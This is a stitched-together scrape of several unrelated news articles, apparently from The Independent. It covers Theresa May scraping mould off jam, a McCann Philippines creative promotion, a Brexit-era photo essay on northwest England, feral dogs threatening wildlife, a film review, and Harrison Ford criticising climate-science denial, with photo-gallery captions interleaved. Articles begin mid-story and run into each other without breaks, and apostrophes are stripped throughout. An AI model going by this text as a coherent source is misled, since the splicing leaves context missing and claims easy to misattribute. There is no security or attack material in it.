Pastel-coloured properties line the street New Orleans CVB New Orleans's food scene - in pictures French Market Experience the street food in this buzzing hall New Orleans CVB New Orleans's food scene - in pictures Must try Seafood Gumbo is an iconic dish New Orleans CVB New Orleans's food scene - in pictures Sweet stuff The creme brulee at Commander's Palace carries the New Orleans stamp New Orleans CVB

But according to the BBC2 programme Trust Me, Im a Doctor, applying Mays tactic to jam alone is in fact, perfectly safe.

In an episode that aired in 2014, presenter Michael Mosley conducted an experiment that involved leaving items of food to go mouldy and seeing if they were still okay to eat afterwards from a health perspective.

Items tested included bread, hard cheese, fruit and jam.

Experts on the show explained that jams can go mouldy very easily because many of the options on supermarket shelves today have reduced sugar content.

But they add that scooping off any mould and consuming whats underneath is completely safe to do, so long as any mouldy parts are completely gone.

Speaking to the BBC following the show's air date, mould expert Dr Patrick Hickey concurred that the moulds you find on jam are normally fine and can be scraped off.

Items that should be avoided if they grow mould, however, include soft cheeses, nuts and meat.

Despite it being safe, Mays admission that she scrapes the mould off of jam has prompted a flurry of amused responses on Twitter.

Just the PM advising others how to eat food waste ahead of a possible no-deal Brexit, nothing to worry about, one person wrote.

Scraping the mould off the jam is definitely a posh thing. You could see it in one of those Tatler guides. another added.

Someone else questioned how long it took for jam to become mouldy, writing: It's true: sell-by dates are a con but how are you leaving jam so long that it develops mould.

Meanwhile, other people commended the PM on doing her bit to reduce food waste.

I really really hope everyone scrapes mould off top of jam because I hate food waste and its a fine thing to do, wrote one person.

What is food mould?

The United States Department of Agriculture defines food mould as a microscopic funghi that lives on plant or animal matter.

"Most are filamentous (threadlike) organisms and the production of spores is characteristic of fungi in general," it explains on its website. "These spores can be transported by air, water, or insects."

The spores are what give mould its colour, which can be yellow, blue or grey.

According to a report published by Waste and Resources Action Programme, many people dispose of foods due to mould unneccessarily, because the majority of this food is actually edible, even though the mouldy proportion of it may not be.| BY Lynchy |

McCann Worldgroup Philippines has promoted Joe Dy to the Chief Creative Officer role.

Having been with the agency as ECD since 2015, Dy (pictured) has helped steer McCann into becoming one of the most awarded agencies in Asia Pacific.

Recent highlights include the agencys first Cannes Gold Lion, being named the Creative Guilds Kidlat Agency of the Year, and ranking among the Philippines top three agencies in both Campaign Brief Asia and Adobo Magazine.

Dy is among the most awarded creative leaders in the Philippines, having won metal at almost every major international and local award show including Cannes, Clio, The One Show, AMEs, APAC Effies, London International, New York Festivals, AWARD, AdStars, AdFest, Spikes, Kidlat, Boomerangs and Tambuli. His wins cover a range of disciplines including Digital, Film, Radio, Outdoor, Media, Print, Direct Response, Design and Effectiveness.

A member of the McCann Worldgroup Asia Pacific Creative Leadership Council, and recent inductee into the Philippine Creative Guild Hall of Fame, Dy was also listed among Campaign Briefs Top 20 Creative Leaders in Asia for 2017-2018.

Raul Castro, Chairman and CEO of McCann Worldgroup, said, Leading the creative culture of McCann, one needs to be brave with his decision making, generous with his knowledge and always have clear intentions. Without a doubt, Joe fits these descriptions and more. I know he will raise McCann to even higher creative greatness.

I believe the biggest challenge agencies face right now, is how to reaffirm the value of creativity in our clients business, commented Dy. The drive to raise the standard of quality will always be a constant, but so is our duty to deliver positive results for our clients. Now, more than ever, we need to be providing brand owners with a real and measurable creative advantage. We hope to do so with a creatively-led culture, where we push ourselves to, if I may borrow from our Global Creative Chief, Rob Reilly, out-think, outwork, and outcare the competition. I am both humbled and honored to be given the chance to take on this challenge.Britain is divided, by 12 regions, a statistical arrangement designed to help governments see the life of the population in graphs, charts, and tables. Im looking at Britain through these regions too, but not statistically, not through numbers that ignore the brilliant details of everyday life, but through the lens of my camera, on the ground, up close.

Northwest England

Carlisle is a border city and I arrive eager to find evidence of its proximity to a dividing line: I walk along English Street and wonder if local people feel English or Scottish or British; I pass through a shopping centre in search of the architectural, ethnic and cultural mixing one finds in Lviv and Szczecin and other European border towns; I stand in front of the castle, imagining long years of identity blurring and arguments over whos us and whos them.

Later I ask a man in a bar what it feels like to have been brought up on a border, on the cusp of somewhere else, on the edge. His answer shatters my illusion completely. Rather than a place of exchange, he tells me, Carlisle is an isolated city, 20 miles from anywhere, alone in the countryside, an island on an island, and because of that, he emphasises with pride, its remained preserved in its white Englishness.

I take the train south, covering the 20 miles separating Carlisle from Preston.

Britain Before Brexit: Northwest England Show all 12 1 /12 Britain Before Brexit: Northwest England Britain Before Brexit: Northwest England Liverpool Subverting the message of peace preached by one of the citys favourite sons. War continues and is never really over Richard Morgan/The Independent Britain Before Brexit: Northwest England Bolton A boarded-up shop front painted with Friday night vomit. Regurgitated food and liquid and bile adorn British weekend streets. Its the sign of a body saving itself from self-poisoning Richard Morgan/The Independent Britain Before Brexit: Northwest England Preston The bus station is a grade II-listed building. There are wonderful frames, with leading lines, repetitions of numbers and angles, soft light, hanging clocks. People wait to be taken elsewhere Richard Morgan/The Independent Britain Before Brexit: Northwest England Carlisle The first thing I see in the city is a drunk man lying on the floor of the train station. He cant walk, is completely unresponsive, and has a blank, vacant expression on his face, as if hed just had his memory erased Richard Morgan/The Independent Britain Before Brexit: Northwest England Liverpool Dismantling the tree of love, one heart at a time, until its bare and loveless and wintry. The city has made love one of its symbols since the Beatles told the world its all you need. I wonder what will become of these plastic hearts Richard Morgan/The Independent Britain Before Brexit: Northwest England Blackburn Making a joint with one arm under angels, the other in a sling. I dont stick around to find out how he rolls it, singlehandedly or otherwise Richard Morgan/The Independent Britain Before Brexit: Northwest England Preston People browse the outdoor market, tempted into sales. Im there to look at them, and in this scene they mix with boxes of music in working order, a Disney wink, and a limp Union Jack Richard Morgan/The Independent Britain Before Brexit: Northwest England Liverpool Im impressed how humans are dwarfed by human-made structures in the urban environment. The building is gigantic, geometrically solid and powerfully symmetrical, while the tiny man slouches, humanly imperfect and asymmetrical Richard Morgan/The Independent Britain Before Brexit: Northwest England Blackburn The play on words for this new development is a footer to the towns skyline, along which run the grey heights of a multi-storey carpark, Chapel Street Church spire, and the faint tops of houses Richard Morgan/The Independent Britain Before Brexit: Northwest England Carlisle Im led into the train station by a man on his mobility scooter. I photograph him and his sign, then take the train to Preston. I thought it was strange how someone could be so proud of a city, with all its details and complexities Richard Morgan/The Independent Britain Before Brexit: Northwest England Bolton Its one of the sickly contradictions of advertising: you can save money by spending it. Here it is presented as the headline of Bolton market, put so simply, yet still so complicated Richard Morgan/The Independent Britain Before Brexit: Northwest England Liverpool When people stop to speak to rough sleepers it always looks so unbalanced. The different social positions of the interaction are exaggerated by the visual dimensions, with passer-by almost always standing above, leaning over, talking down Richard Morgan/The Independent

Im struck immediately by the number of people begging and sleeping on the high street. I stop and talk to a missionary from Idaho who asks me why we are here, whats our purpose and who we are, really. Shes been spreading Gods word in Wigan, the Isle of Man and now Preston, and as I look into her beautiful muddy brown eyes I see the naivety of a young woman from America whos dedicating her life to the salvation of the British people.

I wish her luck and walk to the bus station because I know its a grade II-listed building. Will Self discovered this on his Great British Bus Journey, and felt the shame of not knowing like a urinary tract infection of the soul.

And amid the geometrical pleasantness and neat lines of brutalism I think of the missionary from Idaho and wonder how many souls shes saved today, if any, and whether or not the British soul can be saved at all right now, or if its been irreversibly corrupted, infected, like Will Selfs, by ignorance of its own back yard.

In Blackburn I follow a trail of street art. Its a treasure hunt of hidden graffitis in narrow alleys, a secret pathway by great murals on huge walls, an unbeaten track through spray-painted patterns on bridges and stairways.

These are the works of the Blackburn Open Walls project, an artist led initiative that since 2016 has been trying to #MakeBlackburnBeautiful. The result is a place where the imaginations of artists  foreign and British, global and local  have been tattooed onto the skin of the city; a place where vision runs amok in all its brilliant colour and vividness.

I stand transfixed in front of a Hayley Welsh piece, in which a pair of floating, expectant explorers sit trapped between the hand-written letters of their past and a periscopic view of their future. This moment is your LIFE, they are reminded.

I dont know if the project makes Blackburn beautiful, but it does make it unusual and striking and stimulating. It makes Blackburn different, a rare place in Britain where visual art and not visual advertising takes centre stage in the effort to affect peoples minds.

 Support free-thinking journalism and attend Independent events

I arrive in Liverpool at night in the rain. I go immediately to the pub for food and drink. I sit alone by the window. To my right is a Liverpudlian telling two Poles how important it is to learn English. To my left, outside, with his back to the window, is a man begging for money. I sit in-between and read Joseph Hellers Catch 22, thinking about the absurdity of the modern world.

The next day I visit the Slavery Museum at the docks and skim read the sad story of the largest forced movement of people in the history of the world, in which Britain played the leading role.

At night I board a Ferry at Birkenhead, set for Belfast. I join the cabin-less in the bar, some already asleep on chairs and benches, not woken by the low volume of the TV on which the opening sequence of Schindlers List begins.

I watch the entire film, then step out on deck to look at the black sea, and think back to an exhibition about the ocean liner Lusitania that Id passed earlier in the day. In 1915 it had crossed these very same waves, before being torpedoed by a German U-boat and sinking in 18 minutes. More than 1,000 people died.

I look at faint lights in the distance and wonder why the sinking of the Lusitania is not a well-known tragedy in this country, why its story seems to have gone down with the ship itself, remaining a footnote to the sinking of the Titanic.

For more of Richard Morgans work you can visit his website hereMans best friend they may be. But for wildlife, the domestication and proliferation of dogs has had a disastrous impact.

Following rats and cats, dogs are now the third worst human-introduced predator in some parts of the world.

There are an estimated 1 billion dogs living around the globe, and they are now believed to threaten almost 200 species worldwide, including some critically endangered animals, according to the International Union for the Conservation of Nature (IUCN).

Conservationists are particularly concerned about the rising number of feral or free-ranging dogs living in some regions.

Eduardo Silva-Rodriguez, author of a study in Chile which examined the patterns in the abundance of stray dogs in relation to human demography, told the BBC: "Predation and harassment by dogs has been documented for the majority of larger terrestrial mammals that inhabit Chile, including the three species of canids (mammals from the dog family) and three species of deer.

Indonesian villages pit wild boars against dogs: in pictures Show all 13 1 /13 Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs A dog and wild boar fight during a contest Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs A dog handler leans on a dog cage during a fight Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs The contest is known locally as adu bagong Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Villagers in Majalaya, West Java watch a fight Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Breeder Agus Baduds daughter carries a dog to be washed at their house Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Villagers watch the spectacle on a bamboo stage Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Dog breeder Agus Badud washes his dog at his house in Majalaya Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Contests are fought for a cash prize of up to 1,500 Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Baduds dog sits in his cage after being washed Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Hooves of a wild boar hang for dog training at Baduds house Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Baduds family sit near the cage of their dog as a fight takes place Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs A dog handler cleans blood from his dog which bit a boar in a fight Beawiharta/Reuters Indonesian villages pit wild boars against dogs: in pictures Indonesian villages pit wild boars against dogs Baduds wife and daughter wash dogs at their house Beawiharta/Reuters

His research From Pets to Strays, suggested an urgent response was required to curb the impacts of feral dogs.

The IUCN estimates of the 200 species at risk from free-ranging and feral dogs, 30 are critically endangered, 71 are endangered, and a further 81 are listed as vulnerable.

Nearly half of these species are mammals, 78 of them are birds, 22 reptiles and three amphibians, the BBC reports.

As well as being a direct threat to animals by hunting them, dogs are also carriers of disease, can have significant impacts on fragile ecosystems, can compete with other vulnerable animals for prey, and in the case of wolves, can interbreed with them, threatening the longevity and integrity of the wolf population.

Dealing with the problem is also a thorny issue, with culls said to be inefficient as dogs simply move to areas where there is less competition for resources.

Instead, conservationists are urging people to help reduce the dog population through more careful breeding management, and to maintain animals health with comprehensive vaccination programmes.Dir: Chiwetel Ejiofor; Starring: Chiwetel Ejiofor, Maxwell Simba, Lily Banda, Noma Dumezweni, Aissa Maiga. Cert TBC, 113 mins

Chiwetel Ejiofor makes an accomplished directorial debut with this adaptation of William Kamkwambas autobiographical novel. Set in Malawi in 2001, the film deals with the desperate plight of a farming family threatened with starvation. The film works on many different levels: as a coming-of-age story, as folkloric village tale, as eco-fable, and as a lyrical and insightful account of resourcefulness and ingenuity in the face of disaster.

William (Maxwell Simba) is a precocious 13-year-old boy. His father Trywell (Ejiofor) proudly sends him off to school. Then the rains fail. Corrupt politicians wont help the community even as famine becomes inevitable. William is forced to leave the school because of unpaid fees. Other villagers dont know why he bothers studying anyway given that its his destiny to work on the land. William likes tinkering with old radios. His hey presto moment comes when he realises that the light on the schoolteachers bike is powered by a dynamo. He finds a book, Using Energy, which gives him the inspiration to build a windmill that can generate electricity.

The storyline here is predictable. Even the title is a spoiler. The film, though, is far more than a triumphalist tale about a clever kid helping his community out of a jam. Ejiofor is as interested in the relationships between the family members as in Williams experiments with wirings, magnets and old bicycles. His own character, Trywell, is a proud but scrupulously honest man. He works very hard but is held back both by his lack of education and by his refusal to bend rules.

The film portrays an Africa in which there is no equality of opportunity and in which entire communities are simply abandoned by the politicians. In one very shocking scene, the village elder is brutally beaten up simply for speaking out in public, calling on the government to intervene to provide emergency aid in the event of famine. The arrival of the famine is like a slow motion car crash. Everyone knows that is going to happen but they are powerless to stop it. William and his family begin to ration their food, having only one meal a day.

Films to watch before you die Show all 35 1 /35 Films to watch before you die Films to watch before you die Raiders of the Lost Ark (1981) With this update and upgrade of the 1930s serial adventure, Steven Spielberg turns what could have been pastiche into a practically perfect film. Harrison Fords daring archaeologist is almost always out of his depth but has impeccable underdog charm, and Douglas Slocombes casually stunning cinematography is matched by one of John Williams's finest scores. Indy is ultimately irrelevant to the entire plot, interestingly, but his indefatigable effort to do the right thing still inspires. HO Rex Films to watch before you die Spirited Away (2001) Japanese animation legend Hayao Miyazaki's films delight kids with their bright colours, imaginative characters and plucky heroines (usually). But there's meat to their bones for adults to digest, especially in this towering fantasy epic. As young Chihiro takes a job in a mysterious bathhouse peopled by spirits in order to save her parents, viewers can explore everything from deeply rooted interpretations of traditional Japanese myth to Miyazaki's fascination with Western filmmaking and the Second World War. And visually its unparalleled. HO Toho Films to watch before you die Avengers (2012) Yes, but hear us out: Avengers is a grand experimental film. Marvel risked four popular franchises on this superhero throw of the dice, something never attempted in cinema history. They won, and made the fizzing chemistry of the unlikely gang who must save us from aliens look easy. But the failure of every Marvel imitator since makes clear how impressive this billion-dollar gamble really was, and how difficult it is to tell character-driven stories in blockbuster cinema on this scale. And as a bonus, it has a Hulk. HO Marvel Studios Films to watch before you die The Shining (1980) Stanley Kubricks creep-show classic is remembered for the indelible images of that violent finale chase, but its reputation and influence stem from the slow-winding tension that precedes it. Jack Nicholson is the struggling writer whose sanity frays over a winter season at an isolated and haunted hotel; Shelley Duvall plays his increasingly desperate wife. Touching on questions of domestic violence as well as delivering a ghost story for the ages, this will get under your skin and stay there. HO Warner Bros/Hawk Films/Kobal/REX/Shutterstock Films to watch before you die Invasion of the Body Snatchers (1978) One of those remakes that justifies remakes, Philip Kaufmans beautifully skilful spin on the McCarthy-era alien-clone thriller translates it wickedly to the psychobabble age of the 1970s, with a bit of post-Watergate panic thrown in. Donald Sutherlands lugubrious health inspector is a nicely grumpy enemy of the pod people, and the hysteria ratchets up masterfully. PS Films to watch before you die The Royal Tenenbaums (2001) Wes Anderson's meticulously mannered and beautifully composed films are not to all tastes, but when combined with a cast of this calibre and a more-than-usually heartfelt script, they are capable of magic. Gene Hackman plays the disgraced patriarch of a family of geniuses, making one last attempt at redemption. With a whos who of Hollywood in support, its a story that is as bizarre, hilarious and moving as family life itself. HO Buena Vista Pictures Films to watch before you die Lawrence of Arabia (1962) David Leans First World War epic about TE Lawrence remains a filmmaking milestone, the movie that Steven Spielberg rewatches before starting each new film. Its genius is to combine huge scale battles  notably the attack on Aqaba  with psychological insight into the toll that the war took on Lawrences mind. The white-led casting of Arab characters is appalling to modern eyes, but with its daring, dazzling filmmaking it remains one to watch despite that. HO Rex Films to watch before you die Bicycle Thieves (1948) A devastating portrait of the poverty trap, Vittorio De Sicas neo-realist masterpiece remains all too relevant. Antonio (Lamberto Maggiorani) is offered a desperately-needed job  but it requires a bicycle, and when his is stolen he and his son resort to desperate measures to get it back. Shot with non-professional actors who lived in circumstances close to that of their characters, this is a study in compassion and empathy. HO Rex Features Films to watch before you die Farewell My Concubine (1993) Spanning five decades of Chinese history, this sprawling epic follows two stars of the Peking Opera from harsh childhood training through the perils of the Second World War, the Communist takeover and the Cultural Revolution. Director Chen Keige drew on his own experience of the Cultural Revolution to shape this groundbreaking, tormented romance both between Zhang Fengyis Ziaolou and Leslie Chengs Dieyi, and between Ziaolou and his former prostitute wife Juxian (Gong Li). HO Miramax Films Films to watch before you die Tokyo Story (1953) Pauline Kael thought that the basic appeal of movies was the kiss kiss bang bang of action and romance, but Yasujiro Ozu demonstrates that film is capable of much more in this quiet family drama. Its a simple story about two elderly parents visiting their adult children, only to find that the younger generation is busy with other things. But its also a meditation on the passing of time, and on grief, and on the constant push towards the new that will break your heart every time you watch it. HO Rex Features Films to watch before you die Double Indemnity (1944) If we have learned anything from film noir, it is that murder pacts never work out well for both parties. Thats certainly the lesson when Fred MacMurrays infatuated salesman offers life insurance to Barbara Stanwycks femme fatale Phyllis against her unloved husband. The scheme gives way to a riveting stew of suspicion and paranoia, with Stanwycks ruthless determination warping MacMurrays Neff out of all recognition as director Billy Wilder tightens the screws. HO Rex Features Films to watch before you die Days of Heaven (1978) Terrence Malicks second, and for many, greatest film is a mesmerisingly gorgeous love triangle set in the Texas Panhandle in 1916, loosely based on an Old Testament parable. Richard Gere and Brooke Adams are the lovers who pose as brother and sister to fool a rich, dying farmer (Sam Shepard). Nestor Almendross astounding magic-hour photography rightly won an Oscar, and Linda Manz supplies heartbreaking, plainspoken narration as Geres younger sister. PS Paramount Pictures Films to watch before you die Citizen Kane (1941) The problem with calling something the greatest film ever made is that it begins to sound like homework. Forget that: beyond all the technical dazzle and ground-breaking filmmaking Orson Welless masterpiece has red blood in its veins and a huge beating heart. Whats more, its portrait of a thrusting, occasionally demagogic tycoon and the hollowness at the heart of his success remains as relevant as it ever was, and the suggestion that America might be susceptible to media manipulation all too believable. HO Films to watch before you die Les Enfants du Paradis (1945) Marcel Carne's immortal saga about a 19th-century Parisian theatre company  often called the French Gone with the Wind  has a swooning romanticism but majors in heartbreak, too. Among this ensemble, brilliantly played by some of the best Gallic actors of their day, hopes rise and are shattered, and jealousy mounts among all the acolytes of a courtesan called Garance. It looks back to mime and stagecraft as essential components in the prehistory of cinema, while also being great cinema. Rex Features Films to watch before you die Rear Window (1954) Whether you see it as Alfred Hitchcocks celebration of voyeurism or simply one of the most nail-biting thrillers ever made, its a superb example of the Master of Suspense at work. James Stewarts photographer, laid up with a broken leg, becomes obsessed with the lives of his neighbours and suspects one of murder. The unusually vulnerable hero  as in Vertigo  increases the stakes and ensures that simple brawn wont save the day, while Hitchcock ratchets up the tension unbearably by putting Grace Kellys plucky girlfriend in the lions mouth. HO Films to watch before you die It Happened One Night (1934) Claudette Colbert's eloping heiress and Clark Gable's hack on his uppers warily team up on a Greyhound bus, only to aggravatingly fall for each other. Frank Capra's evergreen romcom all but invented the love-hate formula that's one model for silver screen chemistry, hoicking up Colbert's skirt to flash a leg when they need to hitch-hike, and dismantling Gable's smarmy defences. The biggest hit of its day for a reason, it was also the first ever film to win the big five at the Oscars. PS Films to watch before you die Hoop Dreams (1994) The trials of young black basketball hopefuls in Chicago tell us volumes, from their upbringing to all-or-nothing career rimshots, about the opportunities otherwise denied them. For these portraits of inner-city poverty, gliding between frustration and triumph, Steve Jamess epic of ghetto realities has been influential on every sports doc that has come in its wake. The Academys documentary branch will never quite live down failing to nominate it. PS Kartemquin Films Films to watch before you die The Apartment (1960) This blistering Billy Wilder and IAL Diamond script is a demonstration of just how dark a love story can be get without tipping entirely into bitterness, a standing rebuke to every lazy, schmaltzy comedy going. While the entire cast is stellar and Shirley MacLaine was never better, its worth ignoring them all and just watching Jack Lemmons meek office worker CC Baxter. Every gesture and glance is flawless; he carries entire scenes without a word. HO Rex Films to watch before you die Paris, Texas (1984) In Wim Wenders's Palme d'Or winning trek through America's byways, Harry Dean Stanton plays a wreck of a man who's gone missing, found wandering silently through the Texan wilderness. He travels hundreds of miles to reconcile with his ex (Nastassja Kinski), whom he finds, oblivious to who he is, on the other side of a Houston peepshow window. Culminating unforgettably with this long-take tete-a-tete, it's a shattering quest for redemption, eerily scored by Ry Cooder. Films to watch before you die Before Midnight (2013) Celine (Julie Delpy) and Jesse (Ethan Hawke) have settled down since the two earlier films in Richard Linklaters essential trilogy, Before Sunrise (1995) and Before Sunset (2004), but the problems in their lives  self-inflicted by now  only keep proliferating. Trenchantly pushing them into full-on battle-of-the-sexes territory, the film squares them off for a bitterly adult dissection of a long-term relationship, asking stark questions about love, compromise and lasting the course. PS Films to watch before you die Le Mepris (1963) Other Jean-Luc Godard films are punchier, ruder, more experimental. But this is his most lavish, measured, and sad: an elegiac fantasy of filmmaking, as a loose adaptation of the Odyssey grinds to a halt on Capri, with Jack Palance as the brash American producer trying to sell art by the yard. Meanwhile, the screenwriter (Michel Piccoli) and his beautiful, bored wife (Brigitte Bardot) tussle and reconcile in an incessant, pained ballet. PS Films to watch before you die Casablanca (1942) Some films strain under the weight of greatness; Casablancas quality bubbles through. Against the backdrop of the Second World War, two former lovers reunite though everything in the world is pulling them apart. Bogarts Rick hides a huge heart under a thin veneer of cynicism; opposite him Ingrid Bergmans luminous Ilsa would melt an iceberg. Packed with quotable lines and brimming over with impeccable cool, here we are, still lookin' at you, kid. HO Films to watch before you die A Trip to the Moon (1902) Georges Melies pioneered many of the visual and special effects techniques that have formed the backbone of fantastical filmmaking ever since, and he pushed them all to their limits in this turn-of-the-century tale of a rocket trip to the moon to meet the strange creatures who live upon it. Witty touches and a real sense of story mean that this is still entertaining more than a century later, and if the effects are less awe-inspiring now, theyre still beautifully designed and executed. HO Rex Features Films to watch before you die His Girl Friday (1940) A screwball comedy of substance, Howard Hawks's remake of The Front Page is an objectively odd mix of high stakes and high comedy. Yet it works because the machine-gun dialogue is so quick that there's never a moment to question whats happening (the great screenwriter Ben Hecht, who co-wrote the original Broadway play, worked on it uncredited). Cary Grant and Rosalind Russell, as the warring editor and star-reporter trying to work together long enough to land the story of the year, remain the standard by which all on-screen chemistry should be judged. HO Films to watch before you die The Conversation (1974) Francis Ford Coppola slipped this paranoid masterpiece in between the first two Godfathers, though it was left to his wizardly editor Walter Murch to resolve the plot in post-production. Gene Hackman, never better, plays Harry Caul, a loner surveillance expert called upon to pry into a situation he doesn't fully understand, and winding up dangerously complicit in murderous malfeasance. No other film managed to foreshadow Watergate quite so uncannily. Paramount Pictures Films to watch before you die Blow Out (1981) John Travolta's Z-movie sound man, out recording one night, accidentally tapes what turns out to be a political assassination. Brian De Palma hit peak ingenuity and gut-punch profundity with this stunning conspiracy thriller, mounted with a showman's elan but also harrowing emotional voltage from its star. Its one of the most delirious thrillers of the 1980s, with a bitterly ironic pay-off thats played for keeps. PS Filmways Pictures Films to watch before you die City of God (2002) Theres a deep contradiction at the heart of this acid-bright portrait of the violence in Rios favelas. On one hand these child hustlers and teen gangsters have an intense lust for life, an exuberance displayed in dance and play and love; on the other, they value life cheaply and take it without a qualm. Director Fernando Meirelles and co-director Katia Lund cast a talented band of local kids to give it authenticity and then punctuated their story with Scorsese-esque violence that still shocks. HO Films to watch before you die Hannah and Her Sisters (1986) The diverging romantic fortunes of Hannah (Mia Farrow), Lee (Barbara Hershey) and Holly (Dianne Wiest, who won an Oscar, as did Michael Caine) provide an ideal structure for Woody Allen to check in on a midway state of adulthood, when there's already a sense of disappointment about squandered promise, but still much to play for. It hits the miraculous sweet spot between all Allens modes and tones. PS Moviestore/Rex Films to watch before you die Raising Arizona (1987) The Coen Brothers had already established a ghoulish signature style with Blood Simple, but here they showed us how funny they could be, in a zig-zagging kidnap farce which manages the difficult feat of being both zany and adorable. Nicolas Cage and Holly Hunter are the unlikely couple whose abduction of a spare newborn quintuplet, Nathan Jr, causes all hell to break loose. PS 20th Century Fox Films to watch before you die Cache (2005) This looks and acts like a thriller, but in reality Michael Hanekes exploration of colonialism, guilt, paranoia and privacy cares more about subtext than about scares or mystery. A well-to-do Parisian family are tormented by the arrival of surveillance tapes of their lives, but its not clear who could be sending them or why, leading patriarch Georges (Daniel Auteuil, never better) to confront his own past sins. As a subversion of genre and viewer expectation, there are few to match it. HO Rex Films to watch before you die The General (1926) Orson Welles suggested that Buster Keatons silent Civil War comedy might be the greatest film ever made, and who are we to argue? Keatons Johnny Gray is a key figure on the railroads of the Confederacy, but he and his engine, The General, must go above and beyond to defeat a Union spy. Ignore the dodgy politics and focus on the sublime physical comedy of Keatons beautifully composed routines. Youll come out wondering if movies even need sound. HO Rex Films to watch before you die The Babadook (2014) The Babadook is a black, hunched pop-up book monster who raps on your door three times before paying a visit. And you cant get rid of him. Widowed mum Amelia (brilliant Essie Davis) cant remember reading his book to her emotionally disturbed misfit of a son (Noah Wiseman) before. Jennifer Kents thoughtful Australian chamber shocker, a feast of inventive design, claws its way into you and leaves scratch marks. PS Films to watch before you die When Harry Met Sally (1989) Is it impossible for men and women to be purely platonic? It is according to Harry, in this beautiful, brainy comedy about two neurotic New Yorkers who become friends and then more. Directed by Rob Reiner and written by wonderful Nora Ephron, it's a paean of sorts to Woody Allen's early films, with razor-sharp observations about sex and dating ("I'll have what she's having"). It's still the pinnacle of both Billy Crystal and Meg Ryan's careers. Columbia Pictures Films to watch before you die Inside Out (2015) Toy Story revolutionised animation; Up and Wall-E vie for the best opening of any film this century, but for sheer audacity Pete Docters head-trip must prevail. As a little girl struggles to adapt following a family move across country, her emotions go on a madcap adventure through the mind itself. Whats dazzling here is that two completely separate films unfold at once. Kids watch brightly coloured sprites on a quest; adults watch a psychologically dense depiction of how we think and feel. Its wonderful. Getty Films to watch before you die True Romance (1993) Disinterred from a script Tarantino wrote in the mid-Eighties called The Open Road  the same screenplay that also spawned Natural Born Killers  Tony Scott's True Romance is a pulpy, hyperviolent twist on a damsel-in-distress fairytale, with a plinky-plonky score that is based on Badlands. Christian Slater and Patricia Arquette are the lovers on the lam, chased by Christopher Walken's suave mafioso. Bombastic, brash  and totally brilliant. Rex

We see Trywell becoming increasingly desperate, attempting to cultivate bone dry land where nothing will grow. When his son claims I can bring water, I can make rain, he is first sceptical and then furious. He thinks William is playing around at a time when the family faces catastrophe. Tensions mount. Trywells daughter, who is having a secret affair with the teacher, is desperate to leave home. Parents will do anything for their kids. One mother even says she will cut off her arm so her child can eat.

This may all sound very grim but the film never depicts its characters as passive victims. William is a Huck Finn like character with an adventurous and mischievous streak. He is also very resilient. Cinematographer Dick Pope does full justice to the beauty of the landscapes. There are colourful scenes of village rituals involving stilt walkers and masks. Ejiofor manages to maintain dramatic interest even if we all know in advance just how the film will end.

The Boy Who Harnessed the Wind is now available to stream on NetflixHarrison Ford has taken a thinly veiled swipe at Donald Trump over climate change.

Speaking on the final day of the World Government Summit in Dubai, the Star Wars actor said those who deny or denigrate science will end up on the wrong side of history.

Around the world, elements of leadership  including in my own country  to preserve their state and the status quo, deny or denigrate science, he said. They are on the wrong side of history.

Ford went on to call on governments to trust science  a comment that comes just days after Trump asked what the hell is going on with Global Warming? on Twitter.

We are faced [with] what I believe is the greatest moral crisis of our time, Ford added. That those least responsible for natures destruction will suffer the greatest consequences.

Glacier collapse shows climate impact Show all 20 1 /20 Glacier collapse shows climate impact Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters Glacier collapse shows climate impact Meltwater pools on top of the Helheim glacier near Tasiilaq Reuters Glacier collapse shows climate impact Safety officer Brian Rougeux works with student Febin Magar to assemble a radar dome while working in a science camp on the side of the Helheim glacier Reuters Glacier collapse shows climate impact Airplane Mechanic, David Fuller, left, works with a local worker to move a Nasa Gulfstream III during a pre-flight inspection before a flight to support the Oceans Melting Greenland research mission Reuters Glacier collapse shows climate impact Meltwater pools on top of the Helheim glacier Reuters Glacier collapse shows climate impact Earth Science Flight Programs Director at Nasa, Eric Ianson, looks out at the Greenland ice sheet Reuters Glacier collapse shows climate impact Glacial ice is seen from the window during the Nasa flight Reuters Glacier collapse shows climate impact Oceanographer David Holland's science camp on the side of the Helheim glacier Reuters Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters Glacier collapse shows climate impact A large crevasse forms near the calving front of the Helheim glacier Reuters Glacier collapse shows climate impact Safety officer Brian Rougeux uses a drill to install antennas for scientific instruments that will be left on top of the Helheim glacier Reuters Glacier collapse shows climate impact Tabular icebergs float in the Sermilik Fjord after a large calving event at the Helheim glacier Reuters Glacier collapse shows climate impact Radar Engineer, Ron Muellerschoen, monitors data collection inside a NASA Gulfstream III flying above Greenland to measure loss to the country's ice sheet Reuters Glacier collapse shows climate impact GPS tracking equipment is left on top of the Helheim glacier REUTERS Glacier collapse shows climate impact Sunshine lights up the Helheim glacier Reuters Glacier collapse shows climate impact A glacial terminus above the east coast of Greenland REUTERS Glacier collapse shows climate impact Student Febin Magar watches as leftover wood burns in a research camp Reuters Glacier collapse shows climate impact Tabular icebergs float in the Sermilik Fjord after a large calving event Reuters Glacier collapse shows climate impact Oceanographer David Holland repairs a broken GPS module at his research camp Reuters Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters

Speaking to CNN before the talk, Ford said that institutes around the world were not doing enough to combat climate change.

I dont know what the answer to it is, but the start of the answer is to elect people who believe in science, he said.

